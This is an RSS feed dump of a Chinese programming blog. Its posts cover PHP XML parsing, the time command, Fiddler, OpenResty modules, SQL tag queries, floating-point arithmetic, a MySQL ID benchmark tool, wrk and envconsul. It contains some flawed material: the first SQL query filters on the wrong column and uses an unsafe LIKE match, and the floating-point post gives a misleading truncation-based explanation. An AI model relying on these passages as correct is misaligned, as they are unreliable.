+ + 如何使用PHP解析XML大文件 + https://blog.huoding.com/2020/01/05/790 + https://blog.huoding.com/2020/01/05/790#respond + + + Sun, 05 Jan 2020 04:23:25 +0000 + + + https://blog.huoding.com/?p=790 + + 继续阅读 ]]> + 如果使用 PHP 解析 XML 的话,那么常见的选择有如下几种:DOMSimpleXMLXMLReader。如果要解析 XML 大文件的话,那么首先要排除的是 DOM,因为使用 DOM 的话,需要把整个文件全部加载才能解析,效率堪忧,相比较而言,SimpleXML 和 XMLReader 更好些,SimpleXML 相对简单,而 XMLReader 相对复杂,但是它可以自定义解析整个过程,特别是流式解析的特点让其效率更高。

+

+

下面我以一个 XML 大文件例子来对比一下 SimpleXML 和 XMLReader 的用法:

+
<certificates>
+  ...
+  <certificate>
+    <domain>...</domain>
+    <id_status>...</id_status>
+    <official_site_status>...</official_site_status>
+    <business_status>...</business_status>
+    <host>...</host>
+    <auth_level>...</auth_level>
+    <sitename>...</sitename>
+    <sitetype>...</sitetype>
+    <phone>...</phone>
+    <auth_num>...</auth_num>
+    <nickname0>...</nickname0>
+    <icp>...</icp>
+    <is_certed>...</is_certed>
+    <is_official>...</is_official>
+    <existed_years>...</existed_years>
+    <addr>...</addr>
+    <type>...</type>
+  </certificate>
+  ...
+<certificates>
+
+

先看看用 SimpleXML 的话怎么搞:

+
<?php
+
+$values = simplexml_load_file('file.xml');
+
+foreach ($values as $value) {
+    var_dump($value);
+}
+
+?>
+

在看看用 XMLReader 的话怎么搞:

+
<?php
+
+$xml = new XMLReader();
+$xml->open('file.xml');
+
+for ($name = null, $value = []; $xml->read(); null) {
+    if ($xml->nodeType == XMLReader::ELEMENT) {
+        $name = $xml->name;
+
+        if ($name == 'certificate') {
+            if ($value) {
+                var_dump($value);
+            }
+
+            $value = [];
+            continue;
+        }
+    }
+
+    if ($xml->nodeType == XMLReader::TEXT) {
+        if ($name) {
+            $value[$name] = $xml->value;
+        }
+    }
+}
+
+?>
+

在本例中,XML 文件有几百万行,XMLReader 的效率是 SimpleXML 的两倍左右。

+

了解了相关知识,让我们看看如何选择合适的 XML 解析方法:如果规则比较复杂的话, 比如要查询当前节点的上下文,那么 DOM 是合理的选择;如果 XML 体积比较大的话,那么 XMLReader 是效率更高。不过如果没有特殊需求的话,那么尽量选择 SimpleXML,毕竟它用起来更简单。

+]]>
+ + https://blog.huoding.com/2020/01/05/790/feed + 0 + + +
+ + 被忽视的time命令 + https://blog.huoding.com/2019/12/08/788 + https://blog.huoding.com/2019/12/08/788#comments + + + Sun, 08 Dec 2019 03:57:36 +0000 + + + https://blog.huoding.com/?p=788 + + 继续阅读 ]]> + 如果要选 Linux 下最容易被忽视的命令,time 应该算一个。简单来说,它是一个用来计算命令运行时间的工具,之所以说它容易被忽视,一方面很多人根本不知道 time 的存在,而是习惯在命令启动前后记录两个时间戳,然后手动计算命令运行时间;另一方面很多人虽然知道 time 的存在,但是却并没有真正理解它的含义。

+

+

下面让我们通过若干例子来理解 time 的真正含义:

+
shell> time ls
+
+real	0m0.003s
+user	0m0.001s
+sys	0m0.002s
+

大概意思是 ls 命令运行花了 0.003 秒,其中用户态花了 0.001 秒,内核态花了 0.002 秒,看上去似乎「real = user + sys」?此等式是否成立,在回答这个问题之前我们不妨看看 real、user、sys 的确切含义,如下定义源自 Stackoverflow

+
    +
  • +
    +
    Real is wall clock time – time from start to finish of the call. This is all elapsed time including time slices used by other processes and time the process spends blocked (for example if it is waiting for I/O to complete).
    +
    +
  • +
  • User is the amount of CPU time spent in user-mode code (outside the kernel) within the process. This is only actual CPU time used in executing the process. Other processes and time the process spends blocked do not count towards this figure.
  • +
  • Sys is the amount of CPU time spent in the kernel within the process. This means executing CPU time spent in system calls within the kernel, as opposed to library code, which is still running in user-space. Like ‘user’, this is only CPU time used by the process.
  • +
+

总的来说,real 是我们直观感受到的消耗的时间,如果命令运行时被堵塞了,那么堵塞时间也是被统计在内的, user 统计在用户态态模式下消耗的 CPU 时间,如果命令运行时被堵塞了,那么堵塞时间并不被统计在内,sys 统计在内核态模式下消耗的 CPU 时间,如果命令运行时被堵塞了,那么堵塞时间并不被统计在内。

+

看上去是否统计堵塞时间是区分 real 和 user、sys 的关键,看看下面这个 sleep 例子:

+
shell> time sleep 1
+
+real	0m1.002s
+user	0m0.001s
+sys	0m0.001s
+

那么除了堵塞时间,还有别的关键点么,让我们再看看下面两个例子:

+
shell> time find /etc -type f | xargs -n1 -I{} cat {} > /dev/null
+
+real	0m2.050s
+user	0m0.626s
+sys	0m1.533s
+
+shell> time find /etc -type f | xargs -n1 -I{} -P2 cat {} > /dev/null
+
+real	0m1.079s
+user	0m0.681s
+sys	0m1.486s
+
+

前后两个例子的区别在于后者在使用 xargs 的时候通过「-P」选项激活了多进程,换句话说,后者可以同时用到多个 CPU。

+

了解了相关知识之后,我们通过 real、user、sys 的大小就可以判断程序的行为:

+
    +
  • 如果 real 远远大于 user + sys,那么说明程序可能有严重的堵塞问题。
  • +
  • 如果 real 基本等于 user + sys,那么说明程序可能没有用到多 CPU 能力,
  • +
  • 如果 real 远远小于 user + sys,那么说明程序可能用到了多 CPU 能力。
  • +
+

怎么样?看似简单的 time 命令,是不是远比你想的要复杂得多!

+]]>
+ + https://blog.huoding.com/2019/12/08/788/feed + 3 + + +
+ + 使用Fiddler把请求从HTTPS改成HTTP + https://blog.huoding.com/2019/11/30/784 + https://blog.huoding.com/2019/11/30/784#respond + + + Sat, 30 Nov 2019 08:03:32 +0000 + + https://blog.huoding.com/?p=784 + + 继续阅读 ]]> + 为什么我要把请求从 HTTPS 改成 HTTP?这是因为生产环境是 HTTPS 的,而测试环境却是 HTTP 的,我要在测试环境测试应用,所以需要把请求从 HTTPS 改成 HTTP。为什么我不在测试环境部署一套 HTTPS 证书?这是因为 HTTPS 证书属于敏感信息。

+

+

最开始,我的想法是应用打包的时候打两个包,分别是正式包和测试包,正式包使用 HTTPS 来请求服务器,测试包使用 HTTP 来请求服务器。这个方法当然可以工作,不过实在是太蠢了!好在公司的测试兄弟告诉我可以用 Fiddler 来搞定这个问题:

+
Fiddler

Fiddler

+

也就是说,Fiddler 在这里就是一个「中间人」的角色,当客户端发送 HTTPS 请求 给服务器的时候,Fiddler 拦截到请求,将其解密后以 HTTP 的形式转发给服务器,然后再把服务器的响应加密成 HTTPS 返回给客户端。

+

了解了原理之后,我们只要一小段 FiddlerScript 代码就能完成此功能:

+
if (oSession.isHTTPS && oSession.HostnameIs("test.com")) {
+    oSession.oRequest.headers.UriScheme = "http";
+}
+

添加的位置:在 FiddlerScript 标签里搜索 OnBeforeRequest 方法,加到最上面即可:

+
Script

Script

+

BTW:记得在 Options -> HTTPS 里选中 Decrypt HTTPS traffic。

+

本文好像太水了,LibGen 上有一本名为「Debugging with Fiddler」的电子书,完整介绍了 Fiddler 各种高大上的用法,有兴趣的不妨下载看看。

+]]>
+ + https://blog.huoding.com/2019/11/30/784/feed + 0 + + +
+ + OpenResty与模块 + https://blog.huoding.com/2019/10/31/779 + https://blog.huoding.com/2019/10/31/779#comments + + + Thu, 31 Oct 2019 11:59:27 +0000 + + + https://blog.huoding.com/?p=779 + + 继续阅读 ]]> + Lua 中没有常见面向对象语言中所谓类的概念,取而代之使用模块来组织管理代码。关于模块的基础知识大家可以参考「OpenResty 最佳实战」,本文聊点别的。

+

+

如何实现一个模块呢?假设我们要实现一个不太安全的房奴模块(houseslave.lua):

+
local _M = {}
+
+
+local mt = { __index = _M }
+
+
+function _M.new(me, bank)
+    local t = {
+        me = me,
+        bank = bank,
+    }
+
+    return setmetatable(t, mt)
+end
+
+
+function _M.repay(self, money)
+    self.me.money = self.me.money - money
+    self.bank.money = self.bank.money + money
+end
+
+
+return _M
+

如果我们借用类的思维来解释这段代码,那么大概意思就是:类的属性保存在表(t)中,类的方法保存在元表(mt)中,二者通过 setmetatable 关联起来。

+

实际使用的时候,大致如下所示:

+
local houseslave = require "houseslave"
+local hs = houseslave.new(me, bank)
+hs:repay(10000)
+

学习模块最好的方法就是多看别人是如何搞的,但也不能完全照搬,以很多人都很熟悉的 lua-resty-redis 模块为例,如果通过 luacheck 来检查的话,会发现很多问题,我们就以 new 方法的问题为例来说明一下,官方文档的描述如下:

+

red, err = redis:new()

+

通过冒号语法糖,self 参数被隐式传递了,但这不是重点,要紧的是 self 在这里有没有意义?实际上,new 相当于是类里的构造函数,在调用构造函数之前,还没有实例化出对象,此时 self 是多余的,应该去掉 new 参数中 self 的定义,当然调用方式也要改一下:

+

red, err = redis.new()

+

如果你没搞清楚,可以多看看前面房奴的例子,体会一下「点」和「冒号」的差异。

+

OpenResty 通过 package.path 来查找模块,初学者往往不知道应该把自己写的模块放到哪个目录,此时可以通过 resty-cli 工具来确认你的 package.path 设置:

+
package.path

package.path

+

已经装载的模块保存在 package.loaded.* 中,于是我们可以通过 package.loaded.* = nil 的方式卸载对应的模块,如此一来就实现了热装载代码,同把大象放冰箱一样分三步:

+
    +
  1. 把需要动态加载的代码放在一个 Lua 模块文件 foo.lua 中,并标记版本号。
  2. +
  3. 暴露一个 location 以便从外部写最新的版本号到一个 ngx_lua 共享内存字典中。
  4. +
  5. 在 Lua 代码中,首先检查当前 foo 模块的版本号与共享内存字典中的最新版本号是否一致;如果不一致的话,则卸载当前的 foo 模块(package.loaded.foo = nil ),然后再调用 local foo = require “foo”,从而完成热装载代码。
  6. +
+

需要说明的是,使用了 LuaJIT FFI 的模块是不能通过清空 package.loaded 中的对应字段卸载的,好在多数时候,需要频繁热装载代码的模块往往是业务相关的模块,我们可以在设计之初,有意识的把 LuaJIT FFI 相关的代码单独剥离出来。

+

好了,赶在十月底最后一天完成了本月的文章,虽然没什么营养,但习惯不能丢。

+]]>
+ + https://blog.huoding.com/2019/10/31/779/feed + 1 + + +
+ + 如何查询同时包含多个指定标签的文章 + https://blog.huoding.com/2019/09/22/775 + https://blog.huoding.com/2019/09/22/775#comments + + + Sun, 22 Sep 2019 02:29:03 +0000 + + + https://blog.huoding.com/?p=775 + + 继续阅读 ]]> + 文章和标签是典型的多对多的关系,也就是说每一篇文章都可以包含多个标签,如图:

+
每一篇文章都可以包含多个标签

每一篇文章都可以包含多个标签

+

下面问题来了:如何查询 tag_id 同时包含 1、2、3 的 article_id?此问题看似简单,实际上也非常简单,本来是一道送分题,但是很多人却做不出来!

+

+

方法一:

+
SELECT article_id FROM (
+    SELECT article_id, GROUP_CONCAT(tag_id ORDER BY tag_id) tag_ids
+    FROM articles_tags
+    WHERE article_id in (1, 2, 3)
+    GROUP BY article_id
+) t WHERE tag_ids LIKE '%1,2,3%';
+

说明:此方法利用 GROUP_CONCAT 来解决问题,不过鉴于 GROUP_CONAT 是 MySQL 专有函数,出于通用性的考虑,我们并不推荐使用此方法。

+

方法二:

+
SELECT at1.article_id
+FROM articles_tags at1
+JOIN articles_tags at2 ON at1.article_id = at2.article_id AND at2.tag_id = 2
+JOIN articles_tags at3 ON at1.article_id = at3.article_id AND at3.tag_id = 3
+WHERE at1.tag_id = 1
+

方法三:

+
SELECT article_id
+FROM articles_tags
+WHERE tag_id in (1, 2, 3)
+GROUP BY article_id
+HAVING COUNT(*) = 3
+

关于一对多关系的查询问题,实际情况可能会更复杂一些,让我们扩展一下本题:

+
    +
  • 如何查询 tag_id 包含 1、2 但不包含 3 的 article_id?
  • +
  • 如何查询 tag_id 包含 1、2、3 中至少两个的 article_id?
  • +
+

如果你理解了前面介绍的几种方法,那么解决这些扩展问题并不困难,不要固守某一种方法,要根据情况选择合适的方法,篇幅所限,恕不赘述,留给大家自己解决吧。

+]]>
+ + https://blog.huoding.com/2019/09/22/775/feed + 4 + + +
+ + 为什么「0.1+0.2!=0.3」,而「0.1+0.3==0.4」 + https://blog.huoding.com/2019/08/23/769 + https://blog.huoding.com/2019/08/23/769#comments + + + Fri, 23 Aug 2019 07:44:28 +0000 + + https://blog.huoding.com/?p=769 + + 继续阅读 ]]> + 我们都知道潮汐现象,上学的时候老师多半简单解释一句「月球引力所致」就算了,而我们也都觉得自己明白了,但是凡事就怕琢磨:如果涨潮仅仅是月球对地球万有引力的作用结果的话,那么每天同一个地点,应该仅仅在距离月球最近引力最强的时候有一次涨潮才对,但是住在海边的人都知道,同一个地点,每天会有两次涨潮,为什么

+

我抛出这个问题并不是我转行搞物理学了,而是我发现很多司空见惯的问题,如果深究的话,你就会发现很多人根本就没搞懂。浮点数运算就是这样一个问题,每个人都知道浮点数运算有精度损失,但是为什么「0.1+0.2!=0.3」,而「0.1+0.3==0.4」:

+

float

+

除了含含糊糊的精度损失,你能给出更有营养的解释么?让我们看看到底是为什么!

+

+

首先,让我们举一个整数的例子,比如:

+
    +
  • 十进制「13」:1*(10^1) + 3(10^0) = 10 + 3 = 13
  • +
  • 二进制「1101」:1*(2^3) + 1*(2^2) + 0*(2^1) + 1*(2^0) = 8 + 4 + 0 + 1 = 13
  • +
+

接着,让我们再举一个小数的例子,比如:

+
    +
  • 十进制「0.625」:6*(10^-1) + 2*(10^-2) + 5*(10^-3) = 0.625
  • +
  • 二进制「0.101」:1*(2^-1) + 0*(2^-2) + 1*(2^-3) = 5/8 = 0.625
  • +
+

最重要的一点是你要明白计算机是如何表示小数的:比如二进制的「0.1111111」,无非就是十进制的「1/2 + 1/4 + 1/8 + 1/16 + 1/32 + 1/64 + 1/128」,不过细心的你可能已经发现问题了,计算机这种处理小数的方式存在精度损失的,比如一个十进制的「0.1」,换算成分数的话就是十进制的「1/10」,对比前面的结果,你会发现计算机没办法精确表示它,只能近似等于二进制的「0.00011」,也就是十进制的「1/16 + 1/32 = 3/32」,当然二进制小数点后可以多取几位,可惜结果是只能无限趋近,但永远不可能等于。

+

下面看看为什么「0.1 + 0.2 != 0.3」,而「0.1 + 0.3 == 0.4」。既然存在精度损失,那么「0.1 + 0.2 != 0.3」也说得过去,我们推算一下为什么「0.1 + 0.3 == 0.4」:

+
    +
  • 十进制的「0.1」近似等于二进制「0.00011」
  • +
  • 十进制的「0.3」近似等于二进制「0.01001」
  • +
  • 十进制的「0.4」近似等于二进制「0.01100」
  • +
+

于是,十进制的「0.1 + 0.3」也就是二进制的「0.00011 + 0.01001」:

+
  0.00011
++ 0.01001
+---------
+  0.01100
+

不多不少,答案正好是 0.4!也就是说,虽然有精度损失,但是刚刚好碰巧抵消了彼此的误差。希望大家阅读完本文之后,能够彻底搞清楚浮点数运算的相关问题,如果还有不清楚的地方,推荐阅读:IEEE 754 和 THE FLOATING-POINT GUIDE

+]]>
+ + https://blog.huoding.com/2019/08/23/769/feed + 3 + + +
+ + 数据库ID生成器基准测试 + https://blog.huoding.com/2019/08/21/768 + https://blog.huoding.com/2019/08/21/768#comments + + + Wed, 21 Aug 2019 02:30:38 +0000 + + + + https://blog.huoding.com/?p=768 + + 继续阅读 ]]> + 在说明如何基准测试之前,我想聊聊我为什么要做这个事儿,话说最近做某后台的时候需要一个 ID 生成器,我不太想用 snowflake 等复杂的解决方案,也不太想用 redis 来实现,因为我手头只有 mysql,所以我琢磨着就用 mysql 实现吧。

+

+

实际上当初 flickr 就是这么干的,利用 LAST_INSERT_ID 返回最新插入的 id:

+
mysql> CREATE TABLE `Tickets64` (
+  `id` bigint(20) unsigned NOT NULL auto_increment,
+  `stub` char(1) NOT NULL default '',
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `stub` (`stub`)
+) ENGINE=MyISAM;
+
+mysql> REPLACE INTO Tickets64 (stub) VALUES ('a');
+mysql> SELECT LAST_INSERT_ID();
+

不过我没有直接拷贝此方案,因为看上去它至少有两个可以优化的地方:

+
    +
  1. 因为一张表只能有一个自增字段,所以一个表只能做一个独立的 id 生成器。
  2. +
  3. REPLACE 实际上相当于先 DELETE 再 INSERT,也就是两步操作。
  4. +
+

按照文档描述 LAST_INSERT_ID 支持表达式参数,如此说来我们可以通过它来自行维护 id,从而去掉对 auto_increment 的依赖,进而不再需要 REPLACE,直接 UPDATE 即可:

+
mysql> CREATE TABLE `seq` (
+  `id` bigint(20) unsigned NOT NULL DEFAULT '0',
+  `name` varchar(255) NOT NULL DEFAULT '',
+  UNIQUE KEY `name` (`name`)
+) ENGINE=InnoDB;
+
+mysql> INSERT INTO seq (id, name) VALUES (0, 'global');
+mysql> INSERT INTO seq (id, name) VALUES (0, 'another');
+
+mysql> UPDATE seq SET id = LAST_INSERT_ID(id+1) WHERE name = 'global';
+mysql> SELECT LAST_INSERT_ID();
+

确定了解决方案,我琢磨着得 Benchmark 看看这条 SQL 语句的性能怎么样,其实 MySQL 本身有一个 Benchmark 函数,但是它只能用来测试 SELECT 这样的读操作 SQL,不能用来测试 UPDATE,REPLACE 这样的写操作 SQL,于是我到处找 SQL 性能测试工具,结果发现虽然有 mysqlslaptpcc-mysql 之类的重量级测试工具,但是却不符合我的需求:我只想要一个能压力测试一条 SQL 的小工具!

+

既然没有现成的,那么我们不妨自己实现一个:

+
package main
+
+import (
+	"database/sql"
+	"fmt"
+	"log"
+	"os"
+	"sync"
+	"time"
+
+	"github.com/spf13/cobra"
+	"github.com/spf13/viper"
+
+	_ "github.com/go-sql-driver/mysql"
+)
+
+var db *sql.DB
+var number, concurrency int
+
+var cmd = &cobra.Command{
+	Use:   "benchmark sql",
+	Short: "a sql benchmark tool",
+	Args: func(cmd *cobra.Command, args []string) error {
+		if len(args) != 1 {
+			cmd.Usage()
+			os.Exit(1)
+		}
+
+		return nil
+	},
+	Run: func(cmd *cobra.Command, args []string) {
+		b := benchmark{
+			sql:         args[0],
+			number:      number,
+			concurrency: concurrency,
+		}
+
+		b.run()
+	},
+}
+
+func init() {
+	cobra.OnInitialize(config)
+
+	cmd.Flags().IntVarP(&number, "number", "n", 100, "number")
+	cmd.Flags().IntVarP(&concurrency, "concurrency", "c", 1, "concurrency")
+	cmd.Flags().SortFlags = false
+}
+
+func config() {
+	viper.AddConfigPath(".")
+	viper.SetConfigName("db")
+	viper.SetConfigType("toml")
+
+	err := viper.ReadInConfig()
+
+	if err != nil {
+		log.Fatal(err)
+	}
+
+	driver := viper.GetString("driver")
+	dsn := viper.GetString("dsn")
+
+	db, err = sql.Open(driver, dsn)
+
+	if err != nil {
+		log.Fatal(err)
+	}
+}
+
+func main() {
+	if err := cmd.Execute(); err != nil {
+		log.Fatal(err)
+	}
+}
+
+type benchmark struct {
+	sql         string
+	number      int
+	concurrency int
+	duration    chan time.Duration
+	start       time.Time
+	end         time.Time
+}
+
+func (b *benchmark) run() {
+	b.duration = make(chan time.Duration, b.number)
+	b.start = time.Now()
+	b.runWorkers()
+	b.end = time.Now()
+
+	b.report()
+}
+
+func (b *benchmark) runWorkers() {
+	var wg sync.WaitGroup
+
+	wg.Add(b.concurrency)
+
+	for i := 0; i < b.concurrency; i++ {
+		go func() {
+			defer wg.Done()
+			b.runWorker(b.number / b.concurrency)
+		}()
+	}
+
+	wg.Wait()
+	close(b.duration)
+}
+
+func (b *benchmark) runWorker(num int) {
+	for i := 0; i < num; i++ {
+		start := time.Now()
+		b.request()
+		end := time.Now()
+
+		b.duration <- end.Sub(start)
+	}
+}
+
+func (b *benchmark) request() {
+	if _, err := db.Exec(b.sql); err != nil {
+		log.Fatal(err)
+	}
+}
+
+func (b *benchmark) report() {
+	sum := 0.0
+	num := float64(len(b.duration))
+
+	for duration := range b.duration {
+		sum += duration.Seconds()
+	}
+
+	qps := int(num / b.end.Sub(b.start).Seconds())
+	tpq := sum / num * 1000
+
+	fmt.Printf("qps: %d [#/sec]\n", qps)
+	fmt.Printf("tpq: %.3f [ms]\n", tpq)
+}
+
+

代码是用 Golang 写的,运行前记得在命令同级目录编辑好数据库配置文件 db.toml:

+
driver = "mysql"
+dsn = "<username>:<passwrod>@<protocol>(<host>:<port>)/<database>"
+

下面让我们看看原始方案和我们改进的方案有什么不同:

+
shell> /path/to/benchmark -n 100000 -c 10 "
+    REPLACE INTO Tickets64 (stub) VALUES ('a')
+"
+shell> /path/to/benchmark -n 100000 -c 10 "
+    UPDATE seq SET id = LAST_INSERT_ID(id+1) WHERE name = 'global'
+"
+

结果令人大吃一惊,所谓的改进方案比原始方案慢得多!仔细对比两个方案的表结构,发现原始方案数据引擎使用的是 MyISAM,而改进方案使用的是 InnoDB,于是我把数据引擎统一改成 MyISAM,重新测试,性能终于上来了,不过两者性能差异并不大,甚至 REPLACE 的性能还要比 UPDATE 好一点,具体原因我没有深究,就留给读者去探索吧。

+

虽然有一些小问题悬而未决,好在搞出一个压测 SQL 的小工具,也算是有所得吧。

+]]>
+ + https://blog.huoding.com/2019/08/21/768/feed + 4 + + +
+ + WRK:一个可编程的HTTP性能测试工具 + https://blog.huoding.com/2019/08/19/763 + https://blog.huoding.com/2019/08/19/763#respond + + + Mon, 19 Aug 2019 06:20:08 +0000 + + + https://blog.huoding.com/?p=763 + + 继续阅读 ]]> + 同 ab 这种单线程 HTTP 性能测试工具相比,wrk 是一个足够现代化的 HTTP 性能测试工具,最重要的特性是:它是可编程的,借助内嵌 lua,我们可以控制测试的全过程。

+

+

关于 wrk 中 lua 扩展的数据结构,可以参考官方源代码中的 wrk.lua 文件:

+
local wrk = {
+   scheme  = "http",
+   host    = "localhost",
+   port    = nil,
+   method  = "GET",
+   path    = "/",
+   headers = {},
+   body    = nil,
+   thread  = nil,
+}
+

此外,还有一些钩子方法可供使用:

+
    +
  • setup(thread):启动阶段执行,每个线程调用一次
  • +
  • init(args):运行阶段执行,每个线程调用一次
  • +
  • delay(),运行阶段执行,每个请求调用一次
  • +
  • request(),运行阶段执行,每个请求调用一次
  • +
  • response(status, headers, body),运行阶段执行,每个请求调用一次
  • +
  • done(summary, latency, requests),结束阶段执行,整个过程调用一次
  • +
+

多数情况下,我们只要关注 request 钩子方法即可,通过它我们可以自定义请求的各个参数,如果想要了解更多的用法,可以参考官方源代码的 scripts 目录。

+

让我们动手实战一下,假设一个网站,主要的请求有三种,分别是:

+
    +
  • /a:GET 请求,占比 20%
  • +
  • /b:GET 请求,占比 30%
  • +
  • /c:POST 请求,占比 50%
  • +
+

结合前面提到的 wrk 中 lua 扩展的相关知识,我们可以实现如下代码:

+
-- benchmark.lua
+
+math.randomseed(os.time())
+
+local config = {
+    {num=20, path="/a"},
+    {num=30, method="get", path="/b"},
+    {num=50, method="post", path="/c", body="foo=x&bar=y"},
+}
+
+local requests = {}
+
+for i, request in ipairs(config) do
+    if request.method then
+        request.method = string.upper(request.method)
+    end
+
+    for _ = 1, request.num do
+        requests[#requests + 1] = i
+    end
+end
+
+local length = #requests
+
+for _ = 1, length do
+    local m, n = math.random(length), math.random(length)
+    requests[m], requests[n] = requests[n], requests[m]
+end
+
+local count = 0
+
+function request()
+    local i = (count % length) + 1
+    local request = config[requests[i]]
+    count = count + 1
+
+    return wrk.format(
+        request.method,
+        request.path,
+        request.headers,
+        request.body
+    )
+end
+
+

代码逻辑很简单,无非就是根据配置信息生成一个大数组,然后把数据随机化一下,每个请求来的时候,根据计数器直接给一条数据即可。

+

我在我的笔记本上以此脚本为例实际跑了一个 100 并发的例子,这里有个题外话需要提一下,很多人做 benchmark 只关注 rps,却忽略了 latency,这是不严谨的,设想一个网站的 rps 数据很好,但是总有一定百分比的请求出现高 latency,依然是有问题的:

+
shell> wrk -c 100 -s ./benchmark.lua http://localhost
+
+Running 10s test @ http://localhost
+  2 threads and 100 connections
+  Thread Stats   Avg      Stdev     Max   +/- Stdev
+    Latency     4.26ms    1.04ms  23.95ms   94.87%
+    Req/Sec    11.85k   662.52    13.08k    67.50%
+  235787 requests in 10.00s, 71.95MB read
+  Non-2xx or 3xx responses: 0
+Requests/sec: 23573.71
+Transfer/sec: 7.19MB
+

在测试的时候我顺手用 ngrep 监控了一下请求:

+
ngrep -W byline '' 'dst port 80'

ngrep -W byline ” ‘dst port 80’

+

如图可见,wrk 随机发送了不同的请求,完美!

+]]>
+ + https://blog.huoding.com/2019/08/19/763/feed + 0 + + +
+ + 如何在环境中存储配置 + https://blog.huoding.com/2019/07/11/755 + https://blog.huoding.com/2019/07/11/755#comments + + + Thu, 11 Jul 2019 05:42:26 +0000 + + https://blog.huoding.com/?p=755 + + 继续阅读 ]]> + 关于「在环境中存储配置」,是 The Twelve-Factor App 倡导的方法论之一。通常,应用的配置在不同环境(预发布、生产环境、开发环境等等)间会有很大差异,比如说数据库的用户名密码等等配置,通过把配置和代码分离,我们可以保证部署在不同环境的代码完全一致,如何把配置和代码分离呢?最佳实战是把配置存储到环境变量中,它可以非常方便地在不同的部署间做修改,却不动一行代码;与配置文件不同,不小心把它们签入代码库的概率微乎其微;此外环境变量与语言和系统无关。

+

+

在实际应用中,现在比较流行的解决方案是 dotenv(Ruby dotenvPHP dotenv):首先创建一个 .env 文件,然后把配置信息都保存在里面,接着把这些信息加载的环境变量里,最后直接使用环境变量。

+

通过使用此方案,我们可以给不同的环境设置不同的 .env 文件,在一定程度上实现了配置和代码分离,可惜还有一些明显的缺点,比如:

+
    +
  • 如果有很多台服务器需要同步配置,那么是一件很痛苦的事情。
  • +
  • 如果忘了把 .env 加入到 .gitignore,那么很有可能泄露敏感信息。
  • +
  • 如果部署不当,那么很可能泄露敏感信息,比如这里
  • +
+

通过引入服务发现机制可以解决多台服务器同步配置的问题,主流方案如下:

+ +

它们的实现机制类似,都是把配置保存在服务发现的存储里,一旦发生变化,可以自动通过模板技术静态化保存成本地文件,从而解决多台服务器同步配置的问题。

+

不过这些方案归根到底还是要需要静态化保存成本地文件的,有没有直接使用环境变量保存配置的解决方案呢?答案就是 envconsul,其工作原理如下:在 consul 中保存配置,然后 envconsul 启动后会加载配置,并通过环境变量的方式传递给子进程,此外 envconsul 还会通过 consul 的 http 接口以 long polling 的方式监听,一旦发现配置出现了变动,就会发送信号给子进程,从而完成配置的更新。

+

如果你已经安装好了 consul 和 envconsul,那么让我们来试一试(未考虑权限控制):

+
shell> consul kv put app/db/username root
+shell> consul kv put app/db/password 123456
+
+shell> envconsul \
+    -pristine \
+    -sanitize \
+    -upcase \
+    -prefix app \
+    env
+
+DB_USERNAME=root
+DB_PASSWORD=123456
+

如上,我使用 env 命令作为 envconsul 的子进程来显示环境变量,实际使用中,你可以把 ruby,php 之类的应用作为 envconsul 的子进程,下面我用一个 shell 脚本来展示配置发生变化的时候 envconsul 是如何应对的,shell 脚本名为 test.sh,内容如下:

+
#! /bin/bash
+
+signals=(HUP INT QUIT TERM USR1 USR2)
+
+for signal in "${signals[@]}"
+do
+    trap "echo $signal; exit" "$signal"
+done
+
+for i in {1..1000}
+do
+    echo $i: PASSWORD: $DB_PASSWORD
+    sleep 1
+done
+

其作用就是监听信号,并且显示 DB_PASSWORD 环境变量,这次我们开启两个命令行窗口,一个运行 envconsul,另一个运行 consul kv put app/db/password … 来修改配置:

+
shell> envconsul \
+    -pristine \
+    -sanitize \
+    -upcase \
+    -prefix app \
+    /path/to/test.sh
+
+1: PASSWORD: <OLD VALUE>
+2: PASSWORD: <OLD VALUE>
+INT
+1: PASSWORD: <NEW VALUE>
+2: PASSWORD: <NEW VALUE>
+

我们能看到,当 envconsul 发现配置改变了之后,缺省情况下会发送 INT 信号(可配置)给子进程,使子进程完成重启,从而加载到新的配置。

+

此外还有一些细节问题需要考虑,比如:假设有一百台应用服务器,都是通过 envconsul 运行的,那么当配置发生变化的时候,如果这一百台应用服务器同时重启进程的话,无疑是一场灾难,实际上 envconsul 已经考虑到了此类情况,你可以通过配置 splay 选项把重启的时间随机化,避免「Thundering herd problem」;再假设配置发生变化的时候,如果子进程一直没有完成重启怎么办,envconsul 有一个 kill_timeout 选项,重启超时的话被直接强杀子进程。其它更多配置参见文档说明,篇幅所限,恕不赘述。

+

结尾再推荐一篇不同的声音:Why you shouldn’t use ENV variables for secret data,其以安全性为由,不建议使用环境变量,而是推荐使用 docker swarm 的密钥机制来管理敏感信息(相关教程),这很酷,如果你使用 docker,不妨一试。

+

回到 envconsul,环境变量仅针对子进程有效,虽然在一定程度上降低了风险,但是确实有可能泄露敏感信息,比如在 PHP 里,如果能运行 phpinfo 函数的话,那么可以打印出所有的环境变量,但我觉得不能因噎废食,以 PHP 为例,在生产环境中,类似 phpinfo,eval 之类的危险函数,原本就应该通过 disable_functions 禁用,而且数据库密码之类的信息,一般有 ip 访问限制,即便泄露了也影响有限,但这并不意味着可以不假思索的把任何信息都往环境变量里塞,比如银行卡密码,比特币密钥之类高度敏感的信息,如果泄露了就全完了,此时还是用 Vault 比较好,当然,envconsul 也支持 Vault。

+]]>
+ + https://blog.huoding.com/2019/07/11/755/feed + 1 + + +
+ + OpenResty 101 + https://blog.huoding.com/2019/06/06/751 + https://blog.huoding.com/2019/06/06/751#comments + + + Thu, 06 Jun 2019 06:52:28 +0000 + + + https://blog.huoding.com/?p=751 + + 继续阅读 ]]> + 本文是 OpenResty 的初学者指南,提供一些资料的汇总。

+

+
OpenResty

OpenResty

+

初学者在刚开始学习 OpenResty 的时候,肯定要搭建一个环境,通常来说,我们推荐直接使用官方提供的二进制包,比如 CentOS 的话,直接用 yum 安装即可,不过二进制包有一个限制是它的各种编译选项都是固定的,没办法修改,比如现在新版的二进制包缺省开启了 GC64,用来支持大内存,但是目前的火焰图工具并不支持 GC64,报错:

+

semantic error: unable to find member ‘ptr32’ for struct MRef (alternatives: ptr64)

+

此时要用二进制包的话,可以考虑安装旧版二进制包:「yum install openresty-1.13.6.2」,或者使用源代码安装,编译的时候激活「without-luajit-gc64」选项,此外,社区有相应的 PR 可供选择,在官方正式修复此问题前,可以试试。

+

学习 OpenResty 之前必然要了解 Lua,在线的免费资料推荐阅读:

+ +

具体到 OpenResty 的话,推荐阅读 OpenResty 作者 agentzh 撰写的 Nginx 教程,有中文版英文版,一旦对 Nginx 有了基本的认知,那么可以读十遍 lua-nginx-module 的官方文档,同时 iresty 上还提供了一份中文文档,其中有很多细节。

+

